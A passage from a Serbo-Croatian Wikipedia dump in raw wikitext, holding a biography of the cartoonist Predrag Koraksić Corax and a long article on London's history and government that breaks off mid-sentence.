Wikipedija shwiki https://sh.wikipedia.org/wiki/Glavna_stranica MediaWiki 1.47.0-wmf.4 first-letter Mediji Posebno Razgovor Korisnik Razgovor s korisnikom Wikipedija Razgovor o Wikipediji Datoteka Razgovor o datoteci MediaWiki Razgovor o MediaWikiju Šablon Razgovor o šablonu Pomoć Razgovor o pomoći Kategorija Razgovor o kategoriji Portal Razgovor o portalu Nacrt Razgovor o nacrtu TimedText TimedText talk Modul Razgovor o modulu Event Event talk 0 1943 42602715 42601052 2026-05-28T11:16:42Z SimplyFreddie 127796 42602715 wikitext text/x-wiki {{Infokutija umjetnik | ime = Predrag Koraksić Corax | slika = corax.jpg | širina_slike = 250px | opis = Predrag Koraksic ''Corax'' | datum_rođenja = {{datum rođenja|1933|6|15}} | mjesto_rođenja = [[Čačak]], [[Kraljevina Jugoslavija]] (danas [[Srbija]]) | datum_smrti = {{datum smrti i dob|2026|5|15|1933|6|15}} | mjesto_smrti = [[Beograd]], [[Srbija]] | polje = [[karikatura]] | zanimanje = crtač, karikaturist, novinski urednik }} '''Predrag Koraksić Corax''' ([[15. juna]] [[1933]] — [[15. maja]] [[2026]]) bio je srpski karikaturista koji je crtao karikature prevashodno na političke teme. Njegovog oca [[Narodnooslobodilačka vojska Jugoslavije|partizana]], ubili su [[četnici]] tokom [[Drugi svjetski rat|Drugog svetskog rata]], a Corax je proveo četiri godine u izbeglištvu. == Životopis == Nakon rata Corax je matirurao u [[Zemun]]u i studirao arhitekturu u [[Beograd]]u. Započeo je profesionalno da se bavi karikaturom 1950. godine u novinama ''Jež''. Nakon toga je radio u ''Večernjim novostima'', odakle je izbačen 1993. godine posle sudskog spora. Od 1989. Corax je radio za nezavisne novine ''Borba'', ali je prešao u ''Danas'' kada je tadašnja srpska vlast preuzela ''Borbu''. Od 1990. godine radi i za magazin ''Vreme'', gde je član uredničkog odbora. Oktobra 2004. godine mu je dodeljena francuska [[Legija časti]]. Umro je u [[Beograd|Beogradu]] [[16. maja]] [[2026.|2026]].<ref>{{Cite web |date=2026-05-16 |title='Jedan čovek, pero, papir': Preminuo karikaturista Predrag Koraksić Koraks |url=https://www.bbc.com/serbian/articles/cp9p7r25lj1o/lat |access-date=2026-05-17 |website=BBC News na srpskom |language=sr-latn}}</ref> == Karikature == Coraxove karikature su duhoviti prikazi modernih, uglavnom srpskih, političkih dešavanja. Retko koristi pisani tekst, već se oslanja da same karikature prenesu jasno značenje. == Reference == {{reflist}} == Vanjske veze == * [https://pescanik.net/author/corax/ CORAX - Peščanik] * [https://www.danas.rs/corax/ Corax - Dnevni list Danas] {{Lifetime|1933|2026|Koraksić, Predrag}} [[Kategorija:Biografije, Čačak]] [[Kategorija:Srpski karikaturisti]] [[Kategorija:Pseudonimi|Corax]] 8zxz5uqpzpcq1zsx4ni2hgrbm0brrva 0 2890 42602685 42590542 2026-05-28T07:19:18Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602685 wikitext text/x-wiki {{Naselje | ime =London | ime_genitiv = | izvorno_ime = | translit_jezik1 = | slika_panorama =London collage.jpg | veličina_slike =280px | opis_slike=Kolaž atrakcija grada | slika_zastava = | slika_zastava_veličina = | slika_pečat = | slika_pečat_veličina = | slika_grb = | slika_grb_veličina = | slika_amblem_prazno = | slika_amblem_prazno_veličina = | slika_amblem_prazno_opis = | slika_karta = | veličina_karte = | opis_karte = | slika_karta1 = | veličina_karte1 = | opis_karte1 = | slika_lokacijska_karta_država =Ujedinjeno Kraljevstvo | slika_lokacijska_karta_opis =<center>London na karti Ujedinjenog Kraljevstva | nadimak = | geslo = | širina-stupnjevi = 51 | širina-minute = 30 | širina-oznaka = N | dužina-stupnjevi = 0 | dužina-minute = 7 | dužina-oznaka = E | lokacija_ime =[[Spisak država|Država]] | lokacija_info ={{flag|Ujedinjeno Kraljevstvo}} | lokacija1_ime = | lokacija1_info = | lokacija2_ime = | lokacija2_info = | lokacija3_ime = | lokacija3_info = | utemeljenje_ime = | utemeljenje_datum = oko [[43]]. godine kao Londinium | utemeljenje1_ime = | utemeljenje1_datum = | osnivač = | nazvan_po = | dijelovi = | vrsta_dijelova = | d1-d50 | vrsta_vlasti = | vlast_bilješke = | titula_vođe =[[gradonačelnik]] | ime_vođe = Boris Johnson | stranka_vođe = | površina_bilješke = | površina_ukupna =1 660 [[kvadratni kilometar|km²]] | površina_kopna = | površina_vode = | postotak_vode = | površina_uža = | površina_šira = | površina_prazno1_ime = | površina_prazno1 = | površina_prazno2_ime = | površina_prazno2 = | visina =24 | visina_izvor = | visina_max = | visina_min = | stanovništvo_godina =[[2006]]. | stanovništvo_bilješke = | stanovništvo= | stanovništvo_gustoća = | stanovništvo_uže = 7 172 036 | stanovništvo_uže_gustoća =4761 stan./[[kvadratni kilometar|km²]] | stanovništvo_šire=13 063 441 | stanovništvo_šire_gustoća = | stanovništvo_prazno1_ime = | stanovništvo_prazno1 = | stanovništvo_gustoća_prazno1 = | stanovništvo_prazno2_ime = | stanovništvo_prazno2 = | stanovništvo_gustoća_prazno2 = | vremenska_zona =[[UTC+0]] | utc_pomak =+1 | vremenska_zona_DST = | utc_pomak_DST = | poštanski_broj =E, EC, N, NW, SE, SW, W, WC, BR, CM, CR, DA, EN, HA, IG, KT, RM, SM, TN, TW, UB, WD | pozivni_broj =020, 01322, 01689, 01708, 01737, 01895, 01923, 01959, 01992 | gradovi_prijatelji = | prazno_ime = | web_stranica =[http://www.london.gov.uk/ www.london] | bilješke = }} [[Datoteka:Houses.of.parliament.overall.arp.jpg|thumb|200px|[[Westminsterski most]] sa palačom pored [[Temza|Temze]]]] '''London''' ([[Engleski jezik|eng]]. izgovor [[Međunarodna fonetska abeceda|{{IPA|/ˈlʌndən/}}]]) [[glavni grad|glavni]] je grad [[Engleska|Engleske]] i [[Ujedinjeno Kraljevstvo|Ujedinjenog Kraljevstva]]. Kao važno naselja tokom gotovo 2000 godina, historija Londona započinje osnivanjem od strane [[Rimsko Carstvo|Rimljana]] u doba cara [[Klaudije|Klaudija]] oko 43 godine nove ere kada dobiva ime ''Londinium''.<ref name="LOND1">{{cite web |publisher=Museum of London |url=http://www.museumoflondon.org.uk/English/EventsExhibitions/Permanent/RomanLondon.htm |title=Roman }}</ref> Jezgra Londona, drevni [[City of London|City]] zvan ''"square mile"'', ostao je unutar svojih [[Srednji vijek|srednjevjekovnih]] [[granica]]. Krajem [[19. vijek]]a, ime "London" odnosilo se i na [[metropola|metropolu]] koji se razvila oko njega. Danas, veći dio te [[konurbacija|konurbacije]] formira posebnu [[Greater London|Grofoviju Greater London]]<ref name="LOND2">{{cite web |publisher=Government Office for London |url=http://www.gos.gov.uk/gol/factgol/London/?a=42496 |title=London, Introduction |access-date=2010-09-17 |archive-date=2008-01-24 |archive-url=https://web.archive.org/web/20080124102915/http://www.gos.gov.uk/gol/factgol/London/?a=42496 |dead-url=yes }}</ref> sa vlastitom [[Uprava Velikog Londona|administracijom]], izabranim [[gradonačelnik]]om i skupštinom. London je značajan [[w:en:Global city|"globalni grad"]] i jedno od najvećih svjetskih financijskih središta<ref name="LOND3">{{cite web |publisher=City of London |url=http://217.154.230.218/NR/rdonlyres/8D37DAE2-5937-4FC5-A004-C2FC4BED7742/0/BC_RS_GFCI5.pdf |title=Global Financial Centres Index |archiveurl=https://web.archive.org/web/20091007105828/http://217.154.230.218/NR/rdonlyres/8D37DAE2-5937-4FC5-A004-C2FC4BED7742/0/BC_RS_GFCI5.pdf |archivedate=2009-10-07 |access-date=2010-09-17 |deadurl=no }}</ref><ref name="LOND4">{{cite web |publisher=BBC |url=http://news.bbc.co.uk/2/hi/business/7654647.stm |title=Financial crisis: World round-up }}</ref> s najvećim [[bruto domaći proizvod|bruto domaćim proizvodom]] u Europi.<ref name="LOND6">{{cite web |publisher=The United Nations |url=http://esa.un.org/unup/index.asp?panel=2 |title=World Urbanization Prospects: The 2007 Revision Population Database |access-date=2010-09-17 |archivedate=2009-12-23 |archiveurl=https://web.archive.org/web/20091223005931/http://esa.un.org/unup/index.asp?panel=2 |deadurl=yes }}</ref> U središnjem Londonu smještena su sjedišta većine britanskih kompanija među prvih 100 prema indeksu ''FTSE 100'' Londonske Burze, i više od 100 među 500 najvećih europskih. Golemi utjecaj Londona na [[Politika|politiku]], financije, [[obrazovanje]], [[Industrija zabave|zabavu]], [[Mediji|masovne medije]], [[Moda|modu]], te [[umetnost|umjetnost]] i [[Kultura|kulturu]], uvelike doprinosi globalnom statusu grada. Grad je također i važna [[Turizam|turistička]] destinacija za domaće i strane posjetitelje. London je bio domaćin [[Olimpijske igre|Olimpijskih igara]] [[OI 1908.|1908.]] i [[OI 1948.|1948.]] i [[OI 2012.|2012.]] U Londonu se nalazi 4 mjesta [[svetska baština|svjetske baštine]]: [[Londonski Tower]], povijesno naselje u Greenwichu, Botanički vrt u Kewu, i područje koje sadrži [[Westminsterska palača|Westminstersku palaču]], [[Westminsterska opatija|Westminstersku opatiju]] i crkvu Svete Margarete.<ref name="LOND8">{{cite web |publisher=[[UNESCO]] |url=http://whc.unesco.org/en/statesparties/gb |title=Lists: United Kingdom of Great Britain and Northern Ireland }}</ref> U Londonu živi stanovništvo vrlo raznolikih kultura, nacionalnosti i religija, te se na području grada govori više od 300 jezika. Jula-Srpnja 2007, službeni broj stanovnika bio je 7,556,900 unutar granica Velikog Londona,<ref name="LOND10">{{cite web |publisher=Office for National Statistics |url=http://www.statistics.gov.uk/downloads/theme_population/Mid_2007_UK_England_&_Wales_Scotland_and_Northern_Ireland%20_21_08_08.zip |title=T 08: Selected age groups for local authorities in the United Kingdom; estimated resident population; Mid-2007 Population Estimates |archiveurl=https://www.webarchive.org.uk/wayback/archive/20081014173151/http://www.statistics.gov.uk/downloads/theme_population/Mid_2007_UK_England_&_Wales_Scotland_and_Northern_Ireland%20_21_08_08.zip |archivedate=2008-10-14 |access-date=2021-08-31 |deadurl=no }}</ref> što ga čini najmnogoljudnijom općinom u [[Evropska unija|Europskoj uniji]].<ref name="LOND11">{{cite web |publisher=Office for National Statistics |url=http://www.statistics.gov.uk/cci/nugget.asp?id=384 |title=Largest EU City. Over 7 million residents in 2001 }}</ref> Gradsko područje Velikog Londona (drugo najveće u EU) naseljava 8,278,251 stanovnika, <ref name="LOND12">{{cite web |publisher=Office for National Statistics |url=http://www.statistics.gov.uk/statbase/ssdataset.asp?vlnk=8271&More=Y |title=KS01 Usual resident population: Census 2001, Key Statistics for urban areas }}</ref> dok je procjena stanovništva metropolitanske zone (također druga najveća u EU), između 12<ref name="LOND13">{{cite web |publisher=citypopulation.de |url=http://www.citypopulation.de/world/Agglomerations.html |title=The Principal Agglomerations of the World }}</ref> i 14 miliona.<ref name="LOND14">{{cite web |publisher=Demographia |url=http://www.demographia.com/dm-lonarea.htm |title=Southest England Population by Area from 1891 }}</ref> [[Londonski metro]], kojim upravlja ''Transport for London'', najveća je mreža podzemne željeznice u svijetu,<ref name="LOND15">{{cite web |publisher=The Guardian |url=http://www.guardian.co.uk/world/2006/nov/21/transport.china |title=eijing plans to overtake London with world's longest subway }}</ref> dok je [[Heathrow]] najprometniji svjetski aerodrom prema broju putnika na međunarodnim letovima <ref name="LOND16">{{cite web |publisher=Heathrow Airport |url=http://www.heathrowairport.com/assets/B2CPortal/Static%20Files/TopAirports04.pdf |title=Top ten world airports - 2004 |access-date=2010-09-17 |archivedate=2008-02-27 |archiveurl=https://web.archive.org/web/20080227215420/http://www.heathrowairport.com/assets/B2CPortal/Static%20Files/TopAirports04.pdf |deadurl=yes }}</ref> i [[zračni prostor]] najprometniji od svih zračnih prostora nad gradskim središtima u svijetu.<ref name="LOND17">{{cite web |publisher=ACI |url=http://www.aci.aero/cda/aci/display/main/aci_content.jsp?zn=aci&cp=1-5-212-1376-1380_9_2__ |title=International Passenger Traffic, Airports Council International |access-date=2010-09-17 |archivedate=2010-12-06 |archiveurl=https://web.archive.org/web/20101206022645/http://www.aci.aero/cda/aci/display/main/aci_content.jsp?zn=aci&cp=1-5-212-1376-1380_9_2__ |deadurl=yes }}</ref> == Historija == ''Glavni članak: [[Historija Londona]]'' === Toponimija === [[Datoteka:Thames Panorama, London - June 2009.jpg|thumb|180px|Naziv London možda potječe od rijeke [[Temza|Temze]]]] [[Etimologija]] Londona je nejasna, naziv je drevnog podrijetla i može se pronaći u izvorima od [[2. vijek|2. veka]] nadalje. Oko 121. godine zabilježen je kao ''Londinium'', što upućuje na rimsko-britansko podrijetlo. Najranije ponuđeno objašnjenje, danas odbačeno, pripisano je Geoffreyu of Monmouthu u djelu ''Historia Regum Britanniae'', u kojem je opisano da naziv grada vuče korijen od Luda, sina Helija, koji je navodno zauzeo grad i nazvao ga ''Kaerlud''.<ref name="LOND18">{{cite web |publisher=New York Times |url=http://www.nytimes.com/2001/12/02/books/chapters/02-1st-ackro.html?ex=1225339200&en=b9c2c11ad6e1f435&ei=5070 |title='London' }}</ref> Od 1899, općenito je prihvaćeno da je naziv [[Kelti|keltskog]] podrijetla, čije je značenje "mjesto koje pripada čovjeku nazvanom ''*Londinos''"; ali to objašnjenje od tada je odbačeno. Richard Coates 1998. ponudio je objašnjenje prema kojem naziv potječe od predkeltskog, staroeuropskog ''*(p)&nbsp;lowonida'', što znači "preširoka rijeka za pregaziti", i ukazao da je taj naziv dan dijelu rijeke [[Temza|Temze]] koji teče kroz London. Od toga potječe keltska verzija naziva, ''*Lowonidonjon''. Do 1899, naziv se službeno primjenjivao samo za Grad London, ipak, od tada se tako naziva i [[Londonska Grofovija]] a danas [[Greater London]]. === Prethistorija i antičko doba === [[Datoteka:London 1300 Historical Atlas William R Shepherd (died 1934).PNG|thumb|left|thumb|180px|Do 1300, Londonski ''City'' još uvijek je bio smješten unutar zidina]] Rijeka [[Temza]] imala je veoma važnu ulogu kao prometni i trgovački pravac još u vrijeme prije nego su Britaniju osvojili Rimljani, između 55. pr.ne. i [[43]]. godine n.e. Premda postoje dokazi raštrkanih britskih naselja u području, prvu veću naseobinu osnovali su [[Rimsko Carstvo|Rimljani]] 43. godine. ''Londinium'' (latinizirano keltsko ime), podignut je na izvanredno povoljnom položaju, u početku kao rimski vojni logor, koji se, zahvaljujući više trgovini nego ratovima, pretvorio u snažno trgovačko središte, no zadržao se samo 17 godina. Oko 61. icensko pleme predvođeno kraljicom Boudicom napalo ga je i spalilo do temelja.<ref name="LOND20">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/british/timeline/romanbritain_timeline_noflash.shtml |title=British History Timeline — Roman Britain }}</ref> Potkraj 1. veka grad je utvrđen, sagrađen je veličanstveni [[forum]] te drvena pristaništa i skladišta. Grad se razvio i nadmašio [[Colchester]] kao glavni grad [[Britanija (rimska provincija)|provincije Britanije]] 100. godine. Na svom vrhuncu tijekom 2. veka, rimski London je naseljavalo oko 60,000 stanovnika, te je ostao po rimskom vlašću sve do njihova povlačenja iz Britanije početkom [[5. vijek|5. veka]]. Povijest Londona tijekom 5. veka i 6. veka slabo je poznata. Do 7. veka, [[Anglosaksonci]] osnovali su novo naselje nazvano ''Lundenwic'', oko 900 metara uzvodno od starog rimskog grada, u okolici današnjeg [[Covent Garden]]a.<ref name="LOND21">{{cite web |publisher=Museum of London |url=http://www.museumoflondon.org.uk/English/EventsExhibitions/Past/MissingLink/Themes/TML_themes_Lundenwic.htm |title=The early years of Lundenwic }}</ref> Na ušću rijeke Fleet vjerojatno se nalazila ribarska i trgovačka luka. Trgovina se razvijala dok [[Vikinzi]] nisu nadjačali grad, i prisilili preseljenje na istok, na lokaciju starog rimskog ''Londiniuma'' kojeg su štitile antičke zidine.<ref name="LOND22">{{cite web |publisher=Museum of London |url=http://www.museumoflondon.org.uk/English/Collections/Onlineresources/RWWC/themes/1295/1288 |title=Viking and Danish London }}</ref> Vikinški napadi nastavljani su sve jačim intenzitetom do 886, kada je [[Alfred Veliki]] osvojio London i ugovorio mir s Danskim vođom Guthrumom.<ref name="LOND23">{{cite web |publisher=Museum of London |url=http://www.museumoflondon.org.uk/English/EventsExhibitions/Permanent/medieval/Themes/1033/1035/default.htm |title=Medieval London — Vikings }}</ref> Izvorni saksonski grad ''Lundenwic'' postao je ''Ealdwic'' ("stari grad"), naziv koji se do danas zadržao kao Aldwych, koji se nalazi u današnjem City of Westminster. === Srednji vijek === [[Datoteka:London Westminster Abbey.jpg|thumb|left|thumb|180px|Westminsterska opatija jedno je od londonskih najstarijih i najznačajnijih zdanja, i mjesto [[Svetska baština|Svjetske baštine]]]] [[Knut Veliki]] preuzeo je englesko prijestolje godine 1016., vladajući gradom i zemljom do 1035, kada je njegova smrt rezultirala povratkom pod [[Anglosaksonci|saksonsku]] vlast pod njegovim pobožnim posinkom [[Edward Ispovjednik|Edvardom Ispovjednikom]], jednim od suosnivača [[Westminsterska opatija|Westminsterske opatije]] i susjedne [[Westminsterska palača|Westminsterske palače]].<ref name="LOND24">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/historic_figures/edward_confessor.shtml |title=Edward the Confessor (c.1003 - 1066) }}</ref> London je bio daleko najveći i najbogatiji grad u Engleskoj u razdoblju od 11. do 13. veka, premda je službeno sjedište vlasti i dalje bilo u [[Winchester]]u. Nakon [[Bitka kod Hastingsa|bitke kod Hastingsa]], [[William I Osvajač|Vilim I. Osvajač]], tada vojvoda od Normandije, okrunjen je za kralja u netom dovršenoj Westminsterskoj opatiji na [[Božić]] 1066.<ref name="LOND25">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/british/normans/1066_06.shtml |title=History - 1066 - King William }}</ref> Vilim je građanima Londona podijelio posebne povlastice, dok je radi kontrole nad građanstvom na jugoistoku grada dao izgraditi zdanje danas poznato kao [[londonski Tower]].<ref name="LOND26">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/british/architecture_02.shtml |title=A History of British Architecture — White Tower }}</ref> [[Datoteka:001SFEC TOWER OF LONDON-200705.JPG|thumb|175px|[[Londonski Tower]]]] 1097, kralj [[William II od Engleske|Vilim II.]] započeo je graditi ''Westminster Hall'', u blizini istoimene opatije, koji je bio temelj nove [[Westminsterska palača|Westminsterske palače]], glavne kraljevske rezidencije kroz [[srednji vijek]].<ref name="LOND27">{{cite web |publisher=UK Parliament |url=http://www.parliament.uk/about/history/building.cfm |title=UK Parliament — Parliament: The building |access-date=2010-09-17 |archivedate=2008-03-11 |archiveurl=https://web.archive.org/web/20080311032051/http://www.parliament.uk/about/history/building.cfm |deadurl=yes }}</ref> Westminster je postao sjedište kraljevskog dvora i vlade, dok je susjedni londonski ''City'' bio poslovno i trgovačko središte, prosperitetno pod jedinstvenom vlastitom upravom, Korporacijom grada Londona. 1100. populacija je iznosila 18.000 stanovnika, dok je do 1300. narasla na skoro 100.000 stanovnika.<ref name=LOND29>{{cite book|last=Schofield|first=John|coauthors=Alan Vince|title=Medieval Towns: The Archaeology of British Towns in Their European Setting|publisher=Continuum International Publishing Group|year=2003|isbn=9780826460028|url=http://books.google.co.uk/books?id=Qu7QLC7g7VgC&pg=PA26&lpg=PA26&dq=london+population+1100+-+1300&source=web&ots=OG8jbEB20l&sig=3VkJIrGtBZ_8Gom4HOtnmaPljoU&hl=en&sa=X&oi=book_result&resnum=3&ct=result#PPA26,M1|page=26}}</ref> Postojala je znatna [[jevreji|židovska]] populacija dok nisu 1290. izgnani iz Engleske proglasom kralja [[Edward I od Engleske|Edvarda I.]]<ref name="LOND30">{{cite book|last=Patai|first=Raphael|coauthors=Jennifer Patai|title=The Myth of the Jewish Race|publisher=Wayne State University Press|date=1989|page=43|isbn=9780814319482|url=http://books.google.com/books?id=Xt7f6WBEP0EC&pg=PA43&dq=london+expulsion+of+jews#PPA43,M1}}</ref> Katastrofa je pogodila grad kada je u [[doba kuge]] sredinom 14. veka izgubio trećinu stanovništva.<ref name="LOND31">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/british/middle_ages/black_01.shtml |title=History }}</ref> Osim invazije za vrijeme seljačkog ustanka Wata Tylera 1381,<ref name="LOND32">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/historic_figures/richard_ii_king.shtml |title=Richard II (1367 - 1400) }}</ref> London je ostao relativno neokrznut raznim građanskim ratovima tijekom srednjeg vijeka. <ref name="LOND33">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/dna/h2g2/A1111339 |title=The Causes of the Wars of the Roses }}</ref> === Rani novi vijek === [[Datoteka:Great Fire London.jpg|thumb|180px|Veliki požar 1666. uništio je mnoge dijelove grada.]] Za vrijeme [[Dinastija Tudor|dinastije Tudor]], [[reformacija]] je uvjetovala postupni prelazak ka [[Protestantizam|Protestantizmu]], s većinom Londona koji je iz crkvenih posjeda prešao u privatna vlasništva. Razvijao se [[merkantilizam]] te su osnovane monopolističke trgovačke kompanije kao [[Britanska Istočnoindijska kompanija]]. Širenjem trgovine u [[Novi svijet]]. London je postao glavna luka Sjevernog mora, s imigrantima koji su pristizali iz Engleske i inozemstva. Stanovništvo je naraslo s procijenjenih 50.000 1530, godine, na oko 225.000 1605. U 16. veku [[William Shakespeare]] i njegovi suvremenici živjeli su u Londonu u doba neprijateljstva prema razvoju [[teatar|kazališta]]. Do kraja ere Tudora 1603, London je još bio urbanistički vrlo zbijen, u doba kad se zbio i pokušaj ubojstva kralja [[James I Stuart|Jakova I.]] u Westminsteru 5.11. 1605, tijekom [[Barutna urota|barutne urote]]. Početkom 17. veka, London je bio pogođen [[Doba kuge|epidemijama]]<ref name="LOND34">{{cite web |publisher=urbanrim.org.uk |url=http://urbanrim.org.uk/plague%20list.htm |title=A List of National Epidemics of Plague in England 1348-1665 }}</ref> s Velikom londonskom kugom 1665.–1666. kao vrhuncem, koja je usmrtila do 100.000 ljudi, ili jednu petinu ukupnog stanovništva.<ref name="LOND35">{{cite web |publisher=Channel 4 |url=http://www.channel4.com/history/microsites/H/history/plague/story.html |title=Story of the plague }}</ref> 1666. izbio je [[Veliki požar u Londonu]] koji se brzo proširio kroz drvene zgrade.<ref name="LOND36">{{cite book|last=Pepys|first=Samuel|title=The Diary of Samuel Pepys|publisher=Random House USA|date = 28. 6. 2001.|isbn=978-0679642213|url=http://www.amazon.co.uk/Diary-Samuel-Pepys-Modern-Library/dp/0679642218/ref=sr_1_2?ie=UTF8&s=books&qisbn=1219858000&sr=1-2|oclc=45714685}}</ref> Obnovu, koja je trajala više od deset godina, nadgledao je kao londonski nadzornik [[Robert Hooke]]<ref name="LOND37">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/british/civil_war_revolution/after_fire_02.shtml |title=London After the Great Fire: Civil War and Revolution }}</ref>. 1708. [[Christopher Wren]] je dovršio svoje remek-djelo, [[katedrala Svetog Pavla u Londonu|katedralu sv. Pavla]]. Za vrijeme georgijanskog doba, izgrađene su na zapadu nove četvrti, kao Mayfair, i novi mostovi preko Temze koji su ohrabrili razvoj južnog Londona. Na istoku, londonska luka proširila se nizvodno. 1762. kralj [[Đuro III.]] kupio je [[Buckinghamska palača|Buckinghamsku palaču]], današnju kraljevsku rezidenciju, koja je proširivana tijekom idućih 75 godina. U 18. veku London je bio pogođen kriminalom, te su 1750. kao prva profesionalna policija osnovani ''Bow Street Runners''. Kavane su postale popularnim mjestom debate i razmjene ideja, s rastućom [[Pismenost|pismenošću]] i razvojem [[štamparska mašina|tiskarskog stroja]] koji je novosti učinio dostupnim svima, dok je ulica Fleet postala središtem britanskog [[Novinarstvo|novinarstva]]. <blockquote>'''"'''''Nećeš nikada naći čovjeka, niti intelektualca koji želi napustiti London. Ne gospodo, kad se čovjek zasiti Londona, zasitio se i samog života, jer u Londonu je sve što život može priuštiti.'''''"''' <small>[[Samuel Johnson]]</small><ref name="LOND40">{{cite web |publisher=samueljohnson.com |url=http://www.samueljohnson.com/tiredlon.html |title=When a man is tired of London, he is tired of life }}</ref> </blockquote> === 19. vek i suvremeno doba === [[Datoteka:LondonBombedWWII full.jpg|thumb|180px|Londonska ulica razorena za vrijeme ''Blitza'' u [[Drugi svjetski rat|drugom svjetskom ratu]]]] London je bio najveći grad na svijetu od oko 1831. do 1925.<ref name="LOND41">{{cite web |publisher=Channel4 |url=http://www.channel4.com/history/microsites/H/history/i-m/london4.html |title=London: The greatest city }}</ref> Rastuća prometna zagušenja dovela su do prve lokalne gradske [[Željeznica|željezničke]] mreže u svijetu. ''Metropolitan Board of Works'' koji je nadgledao ekspanziju infrastrukture, 1889. zamijenjen je Savjetom Londonske Grofovije (''London County Council''), prvom izabranom gradskom upravom. ''Blitz'' i ostala bombardiranja njemačkog ''[[Luftwaffe]]a'' za vrijeme [[Drugi svjetski rat|drugog svjetskog rata]] usmrtila su preko 30.000 građana Londona i uništila brojne stambene i druge zgrade po cijelom gradu. Neposredno nakon rata, [[OI 1948.|Olimpijske igre 1948.]] održane su na izvornom [[Wembley Stadium (1923)|stadionu Wembley]], u doba kada se grad tek oporavljao od rata. Godine 1951. u južnom Londonu (''South Bank'') održan je sajam ''Festival of Britain''. Veliki smog 1952. doveo je 1956. do Zakona o čistom zraku (''Clean Air Act'') koji je dokrajčio ugljeni smog po kojem je London bio zloglasan. Od 1950.-ih pa nadalje u Londonu su se nastanili mnogi imigranti, većinom iz zemalja [[Britanska zajednica naroda|Commonwealtha]] kao [[Jamajka]], [[Indija]], [[Bangladeš]] i [[Pakistan]], što je London učinilo jednim od najraznolikijih gradova u Europi. Počevši od sredine 1960.-ih, London je postao svjetsko središte kulture mladih, što je bilo posebno istaknuto ''Swinging London'' subkulturom povezanom s ulicom [[Carnaby Street|Carnaby]]. Uloga grada ''trendsettera'' ponovo je oživljena u doba [[Punk rock|punka]]. 1965. londonske administrativne granice proširene su radi obuhvaćanja rastućih gradskih područja, te je osnovan novi Savjet Velikog Londona (''Greater London Council''). Za vrijeme sukoba u [[Sjeverna Irska|Sjevernoj Irskoj]] (''The Troubles'') od kraja 1960-ih nadalje, London je bio meta [[Terorizam|terorističkih]] napada [[Privremena irska revolucionarna armija|Privremene IRA-e]]. Rasna nejednakost bila je naglašena buntom u Brixtonu 1981. Stanovništvo Velikog Londona stalno je opadalo desetljećima nakon drugog svjetskog rata, od procijenjenog vrhunca od 8.6 milijuna 1939, do oko 6.8 miljuna 1980-ih. Glavne luke Londona premještene su nizvodno u Felixstowe i Tilbury, dok je zona londonskih dokova postala žarište obnove. Brana ''Thames Barrier'' dovršena je 1980-ih radi obrane Londona od plimnih valova [[Sjeverno more|Sjevernog mora]]. Savjet Velikog Londona ukinut je 1986., što je London ostavilo kao jedini veliki metropolis u svijetu bez središnje uprave. 2000, opća gradska uprava je obnovljena, osnivanjem Uprave Velikog Londona (''Greater London Authority''). Povodom proslava početka [[21. vijek]]a, izgrađeni su [[Millenium Dome]] i [[London Eye]]. 7.7., 2005., nekoliko vlakova podzemne željeznice i autobus napadnuti su u nizu terorističkih napada.<ref name="LOND42">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/1/shared/spl/hi/uk/05/london_blasts/what_happened/html/default.stm |title=7 July Bombings: Overview }}</ref> == Uprava == === Lokalna vlada === [[Datoteka:City.hall.london.arp.jpg|thumb|180px|Uprava Veikog Londona smještena je u Londonskoj gradskoj vijećnici u Southwarku.]] Uprava Londona sastavljena je od dvije razine, općegradske, strateške razine i lokalne razine. Općegradsku upravu koordinira Uprava Velikog Londona, dok se lokalna administracija provodi kroz 33 manje uprave.<ref name="LOND43">{{cite web |publisher=London Government |url=http://www.london.gov.uk/gla/ |title=About the Greater London Authority |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo0hYGdz?url=http://www.london.gov.uk/gla/ |deadurl=yes }}</ref> Lokalne uprave savjeti su 32 londonske općine i Korporacija Londonskog ''Cityja'' (''City of London Corporation''),<ref name="LOND44">{{cite web |publisher=London Government |url=http://www.london.gov.uk/london/links.jsp |title=Links to other websites - London boroughs |archiveurl=https://www.webarchive.org.uk/wayback/archive/20100107033943/http://www.london.gov.uk/london/links.jsp |archivedate=2010-01-07 |access-date=2010-09-17 |deadurl=yes }}</ref> koji su odgovorni za većinu lokalnih usluga, kao lokalno planiranje, škole, socijalne službe, ceste i sakupljanje otpada. Određene funkcije, kao odvoz smeća, provode se kroz zajedničke aranžmane. [[Policija|Policijske snage]] u Velikom Londonu, s iznimkom londonskog ''Cityja'', osigurava Metropolitanska policijska služba (''Metropolitan Police Service''), koju nadgleda Metropolitanska policijska uprava (''Metropolitan Police Authority''). ''City'' raspolaže s vlastitim policijskim snagama - Policija Londonskog Cityja (''City of London Police'').<ref name="LOND45">{{cite web |publisher=Greater London Authority |url=http://www.london.gov.uk/gla/policing.jsp |title=Policing |archiveurl=https://www.webarchive.org.uk/wayback/archive/20100107034016/http://www.london.gov.uk/gla/policing.jsp |archivedate=2010-01-07 |access-date=2010-09-17 |deadurl=no }}</ref> Britanska Transportna Policija (''British Transport Police'') odgovorna je za policijske usluge na [[National Rail|Nacionalnoj željeznici]] i [[Londonski metro|Londonskom metrou]] u glavnom gradu. Uprava Velikog Londona (''GLA'') sastoji se od dva izabrana dijela: londonskog gradonačelnika, koji raspolaže s izvršnim ovlastima, i Londonske skupštine, koja preispituje gradonačelnikove odluke te može usvojiti ili odbiti prijedloge godišnjeg proračuna. Sjedište ''GLA'' smješteno je u gradskoj vijećnici Londona u Southwarku. Aktualni gradonačelnik je [[Boris Johnson]]. Gradonačelnikova statutarna strategija planiranja objavljuje se kao Londonski plan (''London Plan''), koji je sredinom 2009, u fazi revizije, za krajnju objavu 2011. Londonski vatrogasci (''London Fire Brigade''), statutarna su vatrogasna služba za [[Greater London]], kojom upravlja Londonska vatrogasna i krizna uprava (''London Fire and Emergency Planning Authority''), kao treća najveća vatrogasna služba u 